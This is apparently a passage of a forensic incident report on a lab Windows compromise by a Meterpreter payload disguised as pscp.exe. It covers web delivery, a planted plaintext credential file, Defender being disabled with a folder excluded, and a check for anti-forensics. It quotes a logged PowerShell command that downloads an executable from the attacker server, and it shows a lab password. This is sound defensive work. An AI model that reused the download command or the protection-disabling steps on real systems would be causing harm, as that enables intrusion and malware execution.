2023-11-10 10:19:36.493383	$UsnJrnl:$J	USN $J C:\Users\medmondson\Downloads\pscp.exe FileDelete|Close [Archive] entry=85732-5	mftecmd_usnjrnl/ usnjrnl.csv#87189	C:\$Extend\$J
2023-11-10 10:20:20	Recycle Bin ($I)	Deletion (moved to Recycle Bin) C:\Users\medmondson\Downloads\pscp.exe size=986624 $I	rbcmd/ recyclebin_0.csv#1	C:\$Recycle.Bin\S-1-5-21-1841083384-974204330-411256071-1001\$IHOVDEL.exe
2023-11-10 10:19:53.835711	$MFT	$SI creation (B) C:\$Recycle.Bin\S-1-5-21-1841083384-974204330-411256071-1001\$RHOVDEL.exe size=986624	mftecmd_mft/ mft.csv#115196	C:\$MFT
2023-11-10 10:19:53.835711	$MFT	$SI creation (B) C:\$Recycle.Bin\S-1-5-21-1841083384-974204330-411256071-1001\$RHOVDEL.exe:Zone.Identifier size=102 Zone.Identifier: [ZoneTransfer] ZoneId=3 ReferrerUrl=http://10.0.0.12:8080/ HostUrl=http://10.0.0.12:8080/pscp.exe	mftecmd_mft/ mft.csv#115197	C:\$MFT
2023-11-10 10:19:53.851269	$MFT	$SI modification (M) C:\Payloads\pscp.exe:Zone.Identifier size=102 Zone.Identifier: [ZoneTransfer] ZoneId=3 ReferrerUrl=http://10.0.0.12:8080/ HostUrl=http://10.0.0.12:8080/pscp.exe	mftecmd_mft/ mft.csv#115204	C:\$MFT
2023-11-10 10:18:44	LNK files	Target: created (recorded in the LNK) ; Target: modified (recorded in the LNK) ; Target: accessed (recorded in the LNK) C:\Payloads machine=desktop-kj81a5a MAC=00:0c:29:27:f7:8f volume=026F16D0 Fixed storage media (Hard drive) size=0	lecmd/lnk_C.csv#13	C:\users\medmondson\Appdata\Roaming\Microsoft\Windows\Recent\Payloads.lnk
2023-11-10 10:18:46	ShellBags	Folder: created (recorded) ; Folder: modified (recorded) ; Folder: accessed (recorded) Desktop\This PC\C:\Payloads Directory Payloads MFT=80945 [explored]	sbecmd/ medmondson_UsrClass.csv#15	
2023-11-10 10:15:26.178698	Jump Lists (automatic)	Jump List: entry created (≈ first opened) C:\Payloads Windows Explorer Windows 8.1 interactions=2 machine=desktop-kj81a5a	jlecmd/ 20261019151058_AutomaticDestinations.csv#26	C:\users\medmondson\Appdata\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms

F-015: Plaintext credential file C:\Users\medmondson\Desktop\not_my_pass.txt created during the live Meterpreter session (credential exposure)

Severity	Medium

Confidence	probable
Independent sources	artifact:$mft artifact:$usnjrnl:$j artifact:jump lists (automatic) artifact:lnk files artifact:registry: lastvisitedpidlmru artifact:registry: opensavepidlmru artifact:windows search (indexed files) artifact:windows timeline (activitiescache) evtx:microsoft-windows-sysmon%4operational.evtx evtx:security.evtx
Category	credential access / user activity
MITRE ATT&CK	T1552.001
Period (UTC)	2023-11-10 10:42:05.178200 → 2023-11-10 11:13:57

Observed facts

How the file was created:
- At 11:07:45.54 Explorer created C:\Users\medmondson\Desktop\New Text Document.txt (0 B, MFT entry 90503; USN FileCreate).
- At 11:07:47.90 Sysmon EID 1 (RecordID 330) records notepad.exe PID 932, GUID {e6e9f951-0f03-654e-aa01-000000000500}, command line "C:\Windows\system32\NOTEPAD.EXE" C:\Users\medmondson\Desktop\New Text Document.txt. Its parent is the user's interactive explorer.exe PID 2432, GUID {e6e9f951-0907-654e-5c00-000000000500}. It ran at Medium IL under LogonId 0x153A9, not the injected explorer 7324 under 0x15347.
- At 11:13:46 Security 4798 shows notepad.exe (CallerProcessId 0x3A4 = 932) enumerating medmondson's groups. This is typical of the Save As dialog.
- At 11:13:56.56 USN records not_my_pass.txt FileCreate/Delete, then a FileCreate+DataExtend at 11:13:56.73. $MFT entry 83576 shows 38 bytes, $SI Created 11:13:56.5568, Modified 11:13:56.7287, LastAccess 11:15:54.7287.
- The same moment is recorded by:
  - OpenSavePidlMRU (txt and *) 'This PC\Desktop\not_my_pass.txt', OpenedOn 11:13:56.5568
  - LastVisitedPidlMRU NOTEPAD.EXE → This PC\Desktop at 11:13:56
  - RecentDocs .txt MRU position 1
  - Recent\not_my_pass.txt.lnk (created 11:13:56.98)
  - Windows Timeline 'not_my_pass.txt (Notepad)' at 11:13:57, with the Notepad session open until 11:16:10

File content: the Windows Search index (SIDR) AutoSummary holds the content, 'user: medmondson pass: password123! @#'.
Context: at this time the injected explorer.exe 7324 was active, having run net user administrator at 11:13:35, and it wrote its CLR usage log at 11:16:03.

Analysis

Fact: the interactive user wrote the file through Notepad, launched from the legitimate explorer.exe 2432, during the active compromise. It holds a plaintext password for the local admin account medmondson. Its name and the lab context suggest it is planted bait for the hunt (the attacker's credential-harvesting target), not attacker output.
Hypothesis (not proven): the attacker read it through Meterpreter. Two points fit this:
- $SI LastAccess (11:15:54.73) is about 2 minutes after the last write.
- Explorer 7324 was still alive at 11:16:03.
But last-access updates on Windows 10 are unreliable and lazily flushed (up to 1 h), and Notepad, Explorer previews and SearchIndexer can also update them. There is no Sysmon file-read telemetry, no object-access auditing (4663), and the $LogFile only covers 12:08 onward. So access by the attacker cannot be confirmed or excluded.

Impact: treat the medmondson password as compromised in any case. The attacker already held this user's elevated token.

Evidence (11)

UTC	Artifact	Detail	Reference	Original source
2023-11-10 11:07:47.909571	Event logs (EVTX)	EVTX event "C:\Windows\system32\NOTEPAD.EXE" C:\Users\medmondson\Desktop\New Text Document.txt Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 932, ProcessGUID: e6e9f951-0f03-654e-aa01-000000000500 | RuleName: - | MD5=F1139811BBF61362915958806AD30211,SHA256=F1D62648EF915D85CB4FC140359E925395D315C70F3566B63BB3E21151CB2CE3,IMPHASH=E2D17AC7541817AA681AE8FF7734AD89 | ParentProcess: C:\Windows\exp	evtxecmd/evtxecmd_0.csv#18675	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:13:46.742007	Event logs (EVTX)	EVTX event Security 4798 | Microsoft-Windows-Security-Auditing | A user's local group membership was enumerated | Target: DESKTOP-KJ81A5A\medmondson (S-1-5-21-1841083384-974204330-411256071-1001) | SubjectLogonId: 0x153A9 | CallerProcessName: C:\Windows\System32\notepad.exe | CallerProcessId: 0x3A4	evtxecmd/evtxecmd_0.csv#27067	C:\Windows\system32\winevt\logs\Security.evtx
2023-11-10 11:13:56.556811	$MFT	$SI creation (B) C:\Users\medmondson\Desktop\not_my_pass.txt size=38	mftecmd_mft/mft.csv#112639	C:\$MFT
2023-11-10 11:13:56.728699	$UsnJrnl:$J	USN $J C:\Users\medmondson\Desktop\not_my_pass.txt FileCreate [Archive] entry=83576-2	mftecmd_usnjrnl/usnjrnl.csv#134462	C:\$Extend\$J
2023-11-10 11:13:56.556811	Registry: OpenSavePidlMRU	Opened/saved via dialog box This PC\Desktop\not_my_pass.txt txt mru=0	recmd_kroll/20261019151050/recmd_kroll_C_OpenSavePidlMRU.csv#2	
2023-11-10 11:13:56.556811	Registry: LastVisitedPidlMRU	Folder used by an application (dialog box) This PC\Desktop appli=NOTEPAD.EXE mru=0	recmd_kroll/20261019151050/recmd_kroll_C_LastVisitedPidlMRU.csv#1	
2023-11-10 11:13:56	LNK files	LNK modified (≈ last opening) ; Target: created (recorded in the LNK) ; Target: modified (recorded in the LNK) ; Target: accessed (recorded in the LNK) C:\Users\medmondson\Desktop\not_my_pass.txt machine=desktop-kj81a5a MAC=00:0c:29:27:f7:8f volume=026F16D0 Fixed storage media (Hard drive) size=38	lecmd/lnk_C.csv#12	C:\users\medmondson\Appdata\Roaming\Microsoft\Windows\Recent\not_my_pass.txt.lnk
2023-11-10 11:13:56.556811	Windows Search (indexed files)	Indexed file: created C:\Users\medmondson\Desktop\not_my_pass.txt .txt size=38 owner=DESKTOP-KJ81A5A\medmondson user: medmondson pass: password123!@#	sidr/DESKTOP-KJ81A5A_File_Report_20261019_151100.037119200.csv#1215	C:\programdata\microsoft\search\data\applications\windows\Windows.edb
2023-11-10 11:13:57	Windows Timeline (ActivitiesCache)	Activity: start ; Activity: last modified System\notepad.exe not_my_pass.txt (Notepad) C:\Users\medmondson\Desktop\not_my_pass.txt (file:Unmapped GUID: //C:/Users/medmondson/Desktop/not_mypass.txt? VolumeId={B82366D2-0E5B-4C77-832C-871CFA42F90B}&ObjectId={CA1D2D78-7FB5-11EE-8A95-000C2927F78F}&KnownFolderId=ThisPCDesktopFolder&KnownFolderLength=27) type=ExecuteOpen	wxtcmd/C/users/medmondson/Appdata/Local/ConnectedDevicesPlatform/L.medmondson/20261019171100_medmondson_Activity.csv#86	C:\users\medmondson\Appdata\Local\ConnectedDevicesPlatform\L.medmondson\ActivitiesCache.db
2023-11-10 10:42:05.178200	Jump Lists (automatic)	Jump List: entry created (≈ first opened) C:\Users\medmondson\Desktop\not_my_pass.txt Notepad 64-bit interactions=1 machine=desktop-kj81a5a	jlecmd/20261019151058_AutomaticDestinations.csv#7	C:\users\medmondson\Appdata\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\9b9cdc69c1c24e2b.automaticDestinations-ms
2023-11-10 10:42:05.178200	Jump Lists (automatic)	Jump List: entry created (≈ first opened) C:\Users\medmondson\Desktop\not_my_pass.txt Quick Access interactions=1 machine=desktop-kj81a5a	jlecmd/20261019151058_AutomaticDestinations.csv#2	C:\users\medmondson\Appdata\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\5f7b5f1e01b83767.automaticDestinations-ms

4.8 Web browsing, downloads and e-mail

Reviewed Dissect browser history and downloads (WebCache/Edge legacy, Firefox), IE WebCache history and downloads, Firefox history, downloads and form history, TypedURLs, $MFT Zone.Identifier ADS, Sysmon EID 22/15 and every non-Defender event that mentions 10.0.0.12.

Finding F-016 (high, confirmed): where pscp.exe came from
- At 10:16:36 UTC, user medmondson browsed the attacker's web server in Edge: http://10.0.0.12/ and http://10.0.0.12:8080/.
- WebCache shows http://10.0.0.12:8080/pscp.exe visited repeatedly (visit count 4 and 8), last at 10:19:49.
- At 10:19:53 the browser recorded a download from that URL to Downloads\pscp.exe.
- The Zone.Identifier streams on $RHOVDEL.exe and C:\Payloads\pscp.exe both read ZoneId=3, HostUrl http://10.0.0.12:8080/pscp.exe, ReferrerUrl http://10.0.0.12:8080/.
- Defender's three detections line up with these download attempts.

Downloads without a Zone.Identifier
- test.exe and 1.exe have no mark-of-the-web. Both were fetched with PowerShell Invoke-WebRequest (4104/4103 events and Sysmon 3 to 10.0.0.12:8080).

Recorded
- Timeline event T-015.
- IOC I-015: http://10.0.0.12:8080/.
- A note covering the other web activity. It is all lab setup: Sysmon, the SwiftOnSecurity config, Firefox, KAPE, winpmem, PowerShell logging and .NET 4.5.2. Firefox form history also holds the analyst's personal details from the KAPE download form.

Negative results
- No DNS queries for the C2 (it was contacted by IP only).
- No searches showing attacker intent.

F-016: Web origin of the Meterpreter payload: Edge (WebCache) browsing to http://10.0.0.12:8080/ and download of pscp.exe, MOTW preserved on C:\Payloads\pscp.exe

Severity	**High**
Confidence	confirmed
Independent sources	artifact:$mft artifact:browser (downloads, dissect) artifact:browser (history, dissect) artifact:internet explorer / webcache (downloads) evtx:microsoft-windows-powershell%4operational.evtx evtx:microsoft-windows-sysmon%4operational.evtx evtx:microsoft-windows-windows defender%4operational.evtx
Category	initial access
MITRE ATT&CK	T1105, T1204.002, T1036.005
Period (UTC)	2023-11-10 10:16:36.111277 → 2023-11-10 11:10:56.791298

Observed facts

FACTS (UTC). WebCache (Edge legacy / IE ESE, parsed by Dissect as browser=iexplore) for user medmondson:
- 10:16:36.111 visit http://10.0.0.12/ and http://10.0.0.12:8080/ (directory listing of the attacker's HTTP server; dissect/browser.history.jsonl#49, #69, #85; iexplore.history #22/#42/#58).
- 10:18:48.738 file:///C:/Payloads (local folder opened in Explorer, WebCache file:// entry; browser.history #31).
- 10:19:49.380 http://10.0.0.12:8080/pscp.exe, visit_count 4 and 8 in the two containers (browser.history #68, #84; iexplore.history #41/#57) = repeated download attempts consistent with the 3 Defender 1116/1117 Meterpreter.E detections at 10:16:43/10:17:53/10:19:36 (F-003).
- 10:19:53.882 download record url=http://10.0.0.12:8080/pscp.exe -> C:\Users\medmondson\Downloads\pscp.exe (dissect/browser.downloads.jsonl#6, iexplore.downloads.jsonl#3) – the surviving copy (MFT 85774) after RTP was disabled at 10:19:46.

- $MFT Zone.Identifier ADS: C:\$Recycle.Bin\S-1-5-21-...-1001\$RHOVDEL.exe:Zone.Identifier created 10:19:53.835 and C:\Payloads\pscp.exe:Zone.Identifier created 10:20:10.116, both 'ZoneId=3 ReferrerUrl=http://10.0.0.12:8080/ HostUrl=http://10.0.0.12:8080/pscp.exe' (mft.csv#115197, #115204).
- C:\Payloads\test.exe (10:21:41) and C:\Users\medmondson\1.exe (11:10:55) carry no Zone.Identifier: they were fetched by PowerShell Invoke-WebRequest (4104 'wget http://10.0.0.12:8080/1.exe -o 1.exe' evtx#8814, 4103 Invoke-WebRequest #8815, Sysmon 3 powershell PID 736 10.0.0.124 -> 10.0.0.12:8080 #18681), which does not write MOTW.
- No Sysmon EID 22 DNS query relates to 10.0.0.12 (direct IP, no domain). TypedURLs contain only the default go.microsoft.com link. No e-mail client data present in the collection (no Outlook/PST/OST artefacts parsed).

Analysis

The delivery vector of the malicious executable is a direct HTTP download by the logged-on user, using the built-in Edge browser, from an attacker-controlled web server at 10.0.0.12:8080 on the same /24 LAN (host is 10.0.0.124). The referrer http://10.0.0.12:8080/ shows the user browsed the server index (typical 'python -m http.server'/Metasploit web delivery listing) and clicked pscp.exe. The masquerading name (PuTTY PSCP) is the lure. The download is corroborated by three independent sources: WebCache (history + downloads), NTFS ($MFT Zone.Identifier ADS) and Defender Operational log. The lab nature (user self-downloading from a Kali box) explains the absence of phishing/e-mail; no e-mail artefact was available, so e-mail delivery cannot be excluded but nothing points to it.

Evidence (11)

UTC	Artifact	Detail	Reference	Original source
2023-11-10 10:16:36.111277	Browser (history, Dissect)	history: ts http://10.0.0.12:8080/ browser=iexplore | visit_count=2	dissect/ browser.history.jsonl#69	C:\Users\medmondson\ AppData\Local\ Microsoft\Windows\ WebCache\ WebCacheV01.dat
2023-11-10 10:19:49.380413	Browser (history, Dissect)	history: ts http://10.0.0.12:8080/pscp.exe browser=iexplore | visit_count=4	dissect/ browser.history.jsonl#68	C:\Users\medmondson\ AppData\Local\ Microsoft\Windows\ WebCache\ WebCacheV01.dat
2023-11-10 10:19:49.380413	Browser (history, Dissect)	history: ts http://10.0.0.12:8080/pscp.exe browser=iexplore | visit_count=8	dissect/ browser.history.jsonl#84	C:\Users\medmondson\ AppData\Local\ Microsoft\Windows\ WebCache\ WebCacheV01.dat
2023-11-10 10:19:53.882523	Browser (downloads, Dissect)	download: ts_end C:\Users\medmondson\Downloads\pscp.exe url=http://10.0.0.12:8080/pscp.exe | browser=iexplore	dissect/ browser.downloads.jsonl #6	C:\Users\medmondson\ AppData\Local\ Microsoft\Windows\ WebCache\ WebCacheV01.dat
2023-11-10 10:19:53.882523	Internet Explorer / WebCache (downloads)	download: ts_end C:\Users\medmondson\Downloads\pscp.exe url=http://10.0.0.12:8080/pscp.exe	dissect/ iexplore.downloads.jsonl #3	C:\Users\medmondson\ AppData\Local\ Microsoft\Windows\ WebCache\ WebCacheV01.dat
2023-11-10 10:18:48.738766	Browser (history, Dissect)	history: ts file:///C:/Payloads browser=iexplore | visit_count=1	dissect/ browser.history.jsonl#31	C:\Users\medmondson\ AppData\Local\ Microsoft\Windows\ WebCache\ WebCacheV01.dat
2023-11-10 10:19:53.835711	$MFT	$SI creation (B) C:\$Recycle.Bin\S-1-5-21-1841083384-974204330-411256071-1001\$RHOVDEL.exe:Zone.Identifier size=102 Zone.Identifier: [ZoneTransfer] ZoneId=3 ReferrerUrl=http://10.0.0.12:8080/ HostUrl=http://10.0.0.12:8080/pscp.exe	mftecmd_mft/ mft.csv#115197	C:\$MFT
2023-11-10 10:19:53.851269	$MFT	$SI modification (M) C:\Payloads\pscp.exe:Zone.Identifier size=102 Zone.Identifier: [ZoneTransfer] ZoneId=3 ReferrerUrl=http://10.0.0.12:8080/ HostUrl=http://10.0.0.12:8080/pscp.exe	mftecmd_mft/ mft.csv#115204	C:\$MFT
2023-11-10 10:16:43.841943	Event logs (EVTX)	EVTX event file:_C:\Users\medmondson\Downloads\pscp.exe Microsoft-Windows-Windows Defender/Operational 1116 | Microsoft-Windows-Windows Defender | Detection - The antimalware platform detected malware or other	evtxecmd/ evtxecmd_0.csv#23714	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Windows Defender %4Operational.evtx

UTC	Artifact	Detail	Reference	Original source
		potentially unwanted software | Malware name: Trojan:Win64/Meterpreter.E | Description: Trojan (Severe) | Detection Time: 2023-11-10T10:16:43.470Z | Process (if real-time detection): C:\Windows\Sy		
2023-11-10 11:10:55.494829	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4104 | Microsoft-Windows-PowerShell | Contains contents of scripts run | Path: | ScriptBlockText: wget http://10.0.0.12:8080/1.exe -o 1.exe	evtxecmd/ evtxecmd_0.csv#8814	C:\Windows\system32\ winevt\logs\Microsoft-Windows-PowerShell %4Operational.evtx
2023-11-10 11:10:56.791298	Event logs (EVTX)	EVTX event C:\Windows\System32\WindowsPowerShell\v1.0\ powershell.exe Microsoft-Windows-Sysmon/Operational 3 | Microsoft-Windows-Sysmon | Network connection | ProcessID: 736, ProcessGUID: e6e9f951-0f56-654e-af01-000000000500 | RuleName: - | SourceHostname: DESKTOP-KJ81A5A.hsd1.md.comcast.net | SourceIp: 10.0.0.124 | DestinationHostname: - | DestinationIp: 10.0.0.12 | C:\ Windows\System32\WindowsPowerShell\v1.0\powersh	evtxecmd/ evtxecmd_0.csv#18681	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Sysmon %4Operational.evtx

4.9 Defense evasion and anti-forensics

Defense evasion and anti-forensics review.

Log integrity
- No Security 1102 or System 104 (Eventlog) events.
- The 1100 events are pre-attack reboots.
- RecordIDs are contiguous in Security, System, Sysmon, PowerShell and Defender.

Time changes
- 4616 and Kernel-General 1 appear only during OOBE on 2023-11-09.

Defender
- The 5007/5001 chain was already covered in F-004.
- Added the registry state at collection to F-004 as corroboration: DisableRealtimeMonitoring=1, Exclusions\Paths\C:\Payloads\, SpyNet off.
- F-017 records the persisted state and how the RTP disable at 11:02:11 was done: through the Windows Security UI (consent.exe → SecurityHealthHost → MsMpEng, Sysmon 13), 57 s before pscp.exe ran.
- Added T-016 and IOC I-016.

Timestomping
- None on the attack files (pscp.exe, test.exe, 1.exe, $RHOVDEL.exe, not_my_pass.txt).
- The files flagged SI<FN are installers.

Deletions and wiping
- No mass deletion, wiping tool, or Prefetch or EVTX deletion.
- The Recycle Bin items are the payload original and lab setup files.

PowerShell logging
- Not disabled. The transcripts of the attack sessions are still on disk, and 4104 events are present.
- Recorded as F-018 (info/probable, negative finding) plus a note on what was ruled out.

F-017: Defense-evasion state at collection time: Defender RTP still disabled and C:\Payloads\ excluded (registry); RTP disabled via Windows Security UI 57 s before pscp.exe launch

Severity	**High**
Confidence	confirmed
Independent sources	artifact:defender (exclusions) artifact:registry (recmd kroll) evtx:microsoft-windows-sysmon%4operational.evtx evtx:microsoft-windows-windows defender%4operational.evtx
Category	defense-evasion

MITRE ATT&CK	T1562.001, T1564.012
Period (UTC)	2023-11-10 10:19:24.979452 → 2023-11-10 11:02:12.400713

Observed facts

SOFTWARE hive (RECmd Kroll), state at the KAPE collection (~12:33 UTC):
- HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = 1, DpaDisabled = 0, key LastWrite 2023-11-10 11:02:11.5589591 (recmd_kroll_C.csv#1447).
- ...\Windows Defender\Exclusions\Paths\C:\Payloads\ = 0, LastWrite 10:52:49.247 (#1456; Dissect defender.exclusions.jsonl#2). The LastWrite reflects the rewrite during the Defender platform update to 4.18.23100.2009-0 at 10:52:49; the exclusion was first created at 10:19:24.979 (Defender 5007 RecordID evtxecmd_0.csv#23724).
- ...\Spynet\SpyNetReporting = 0 and SubmitSamplesConsent = 0 (#1443, #1444): cloud protection and sample submission stay disabled (5007 at 10:17:40/10:17:41).
Sequence of the second RTP disable, from Sysmon: at 11:02:09.773 consent.exe (UAC, parent svchost Appinfo PID 6492) (#18635); SecurityHealthHost.exe -Embedding started at 11:02:11.357 (#18636); at 11:02:11.568 MsMpEng.exe (platform 4.18.23100.2009-0) wrote DisableRealtimeMonitoring=DWORD 1 (Sysmon 13, #18637); services.exe set WdNisDrv Start=3 (#18638); then Defender 5001 'Real-time protection disabled' at 11:02:12.401 (#23752). C:\Payloads\pscp.exe was launched 57 s later, at 11:03:09.
Defender 1116/1117 (Trojan:Win64/Meterpreter.E) appear only at 10:16–10:19. There is no detection of C:\Payloads\pscp.exe, C:\Payloads\test.exe or C:\Users\medmondson\1.exe afterwards, consistent with the path exclusion and RTP being off.

Analysis

This finding adds to F-004 the persisted registry state and how the 11:02 disable was done. The change was made interactively through the Windows Security GUI: SecurityHealthHost was started via DcomLaunch, UAC consent.exe ran, and MsMpEng wrote the value itself. No Set-MpPreference or reg.exe command line was involved, which matches a Tamper-Protection-compliant UI toggle by the logged-on user medmondson (the lab operator acting as the "victim/attacker"). The protection weakening was still in place when the evidence was collected. It explains why the Meterpreter payload, which Defender had detected three times when it was downloaded, could execute without being blocked from the excluded C:\Payloads\ folder. Remediation must restore RTP, remove the exclusion and re-enable MAPS/sample submission.

Evidence (11)

UTC	Artifact	Detail	Reference	Original source
2023-11-10 11:02:11.558959	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Real-Time Protection Threat Hunting | Windows Defender | DisableRealtimeMonitoring=1	recmd_kroll/ recmd_kroll_C.csv#1447	C:\Windows\system32\ config\SOFTWARE
2023-11-10 10:52:49.247111	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Exclusions\Paths Threat Hunting | Windows Defender | C:\Payloads\=0	recmd_kroll/ recmd_kroll_C.csv#1456	C:\Windows\system32\ config\SOFTWARE
2023-11-10 10:52:49.247111	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Spynet Antivirus | Windows Defender | SpyNetReporting=0	recmd_kroll/ recmd_kroll_C.csv#1443	C:\Windows\system32\ config\SOFTWARE
2023-11-10 10:52:49.247111	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Spynet Antivirus | Windows Defender | SubmitSamplesConsent=0	recmd_kroll/ recmd_kroll_C.csv#1444	C:\Windows\system32\ config\SOFTWARE
2023-11-10 10:52:49.247112	Defender (exclusions)	exclusion: regf_mtime type=Paths | value=C:\Payloads\	dissect/ defender.exclusions.jsonl #2	
2023-11-10 11:02:09.773548	Event logs (EVTX)	EVTX event consent.exe 6492 420 0000019A5C0280F0 Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 5392, ProcessGUID: e6e9f951-0db1-654e-8301-000000000500 | RuleName: - | MD5=EE2A1C85C472F89B146CC8EE598CCCBC,SHA256=19F	evtxecmd/ evtxecmd_0.csv#18635	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Sysmon %4Operational.evtx

UTC	Artifact	Detail	Reference	Original source
		D0010DA92B654D1CA270247061A39EA13C0A58529FD8257A97E2EF7794911,IMPHASH=522D83761201075834F05037F5307949 | ParentProcess: C:\Windows\Sy		
2023-11-10 11:02:11.356955	Event logs (EVTX)	EVTX event C:\Windows\System32\SecurityHealthHost.exe {6CED0DAA-4CDE-49C9-BA3A-AE163DC3D7AF} -Embedding Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2708, ProcessGUID: e6e9f951-0db3-654e-8401-000000000500 | RuleName: - | MD5=18CB1CDF0666FF08918BADE605087CEC,SHA256=4CB149DB4441B25F3C837B97477BF5A81C51735D76B123D396AA214FED100522,IMPHASH=588F984996756BEE8EBFE48A7299428F | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18636	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:02:11.567907	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 13 | Microsoft-Windows-Sysmon | RegistryEvent (Value Set) | ProcessID: 6388, ProcessGUID: e6e9f951-0b81-654e-1901-000000000500 | RuleName: T1089,Tamper-Defender | Image: C:\ProgramData\Microsoft\Windows Defender\platform\4.18.23100.2009-0\MsMpEng.exe | EventType: SetValue | TargetObject: HKLM\SOFTWARE\Microsoft\	evtxecmd/ evtxecmd_0.csv#18637	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:02:12.113188	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 13 | Microsoft-Windows-Sysmon | RegistryEvent (Value Set) | ProcessID: 632, ProcessGUID: e6e9f951-0900-654e-0b00-000000000500 | RuleName: T1031,T1050 | Image: C:\Windows\system32\services.exe | EventType: SetValue | TargetObject: HKLM\System\CurrentControlSet\Services\WdNisDrv\Start | Details: DWORD (0x00000003)	evtxecmd/ evtxecmd_0.csv#18638	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:02:12.400713	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5001 | Microsoft-Windows-Windows Defender | Real-time Protection was disabled | Windows Defender Antivirus	evtxecmd/ evtxecmd_0.csv#23752	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx
2023-11-10 10:19:24.979452	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5007 | Microsoft-Windows-Windows Defender | The antimalware platform configuration changed | Old Value: | New Value: HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Payloads\ = 0x0	evtxecmd/ evtxecmd_0.csv#23724	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx

F-018: No log clearing, timestomping, wiping, Prefetch/EVTX deletion or time tampering attributable to the attacker; PowerShell transcripts of the Meterpreter session preserved

Severity	Informational
Confidence	probable
Independent sources	artifact:$mft artifact:recycle bin ($i) evtx:microsoft-windows-sysmon%4operational.evtx evtx:security.evtx evtx:system.evtx
Category	anti-forensics
MITRE ATT&CK	T1070.001, T1070.004, T1070.006, T1562.002
Period (UTC)	2023-11-09 11:02:41.058742 → 2023-11-10 11:38:59.162328

Observed facts

What was checked, and the results:
(1) Log clearing: there is no Security 1102 and no System/Eventlog 104. The 1102/104 IDs present belong to unrelated providers (ShellCommon-StartLayoutPopulation, ModernDeployment, StateRepository, Pushrouter). Security 1100 (event log service shutdown) appears at 2023-11-09 11:22:20, 2023-11-10 10:15:13 and 10:41:53, all before the attack; these are normal reboots (evtxecmd_0.csv#25930, #26729). EventRecordID sequences are contiguous with no gaps: Security 1–2630, System 1–447, Sysmon 1–5013, PowerShell/Operational 1–375, Windows PowerShell 1–347, Defender/Operational 1–54.
(2) System time: 4616 and Kernel-General 1 occur only during OOBE on 2023-11-09 11:02:41–11:02:47 (svchost, LogonId

0x3E5, OldTime 19:00:30 → 11:02:41; #25172, #27708) plus time-zone adjustments (#27729). Nothing on 2023-11-10.
(3) Timestomping: $MFT records for C:\Payloads\pscp.exe (#115203), test.exe (#109630), C:\Users\medmondson\1.exe (#119927), $RHOVDEL.exe (#115196) and Desktop\not_my_pass.txt (#112639) all have SI<FN=False and uSecZeros=False. The SI<FN=True files created after 10:00 are VC++ 2015-2019 redistributable DLLs (System32/SysWOW64, $SI 2020-06-16), VMware Tools, .NET 6.0.24 and KAPE binaries, i.e. installer-preserved timestamps.
(4) Deletions: in $J during the session (11:03–11:21) the FileDelete records are OneDrive self-update, Windows Update tw-/tpm-*.tmp in C:\Windows\Temp, PSScriptPolicyTest files and an MpCmdRun lock. No .pf or .evtx was deleted. No sdelete, cipher, CCleaner or BleachBit appears in Prefetch or $J. The only pscp.exe deletions are Defender remediation at 10:16:44, 10:17:54 and 10:19:36 (usnjrnl.csv#85220).
(5) Recycle Bin (rbcmd_0.csv): $IHOVDEL.exe = Downloads\pscp.exe at 10:20:20 (already F-014); $IY8CUX9.xml = Desktop\sysmon-config.xml at 10:28:22; $IX8NRQ1.txt = C:\Transcript\20231110\PowerShell_transcript…c4CYCMv_.20231110025534.txt at 10:56:07. The last two are lab setup, before the 11:03 execution.
(6) PowerShell logging was not disabled. The transcripts covering the attack are still allocated in C:\Transcript\20231110\: …6HrokibP.20231110030258.txt (11:02:58, PowerShell 1088 that launched pscp.exe, #116397), …4_WbZ_YN.20231110030640.txt (11:06:40, MSFConsole host in explorer, #119921), …_h_Jx2Ns.20231110030910.txt (11:09:10–11:11:19, powershell 736 / 1.exe download, #119924), …4J+ewEfr.20231110031845.txt (#113433). 4104 script-block events are still present.
(7) wevtutil.exe at 10:52:42–10:52:43 (#18461, #18466), along with the Sysmon 12 DeleteKey of the WINEVT\Channels\…Windows Defender/Operational key, comes from MsMpEng.exe running uninstall-manifest/install-manifest during the Defender platform update. It is not log clearing.
(8) Sysmon: one EID 16 config change at 10:51:10 (installation) and EID 4 at 10:51:11. EID 255 at 12:29:39 falls in the KAPE window. The Sysmon EID 2 (file creation time changed) events are the .NET 4.5.2 web installer at 11:38:59 (#19971), which is benign.

Analysis

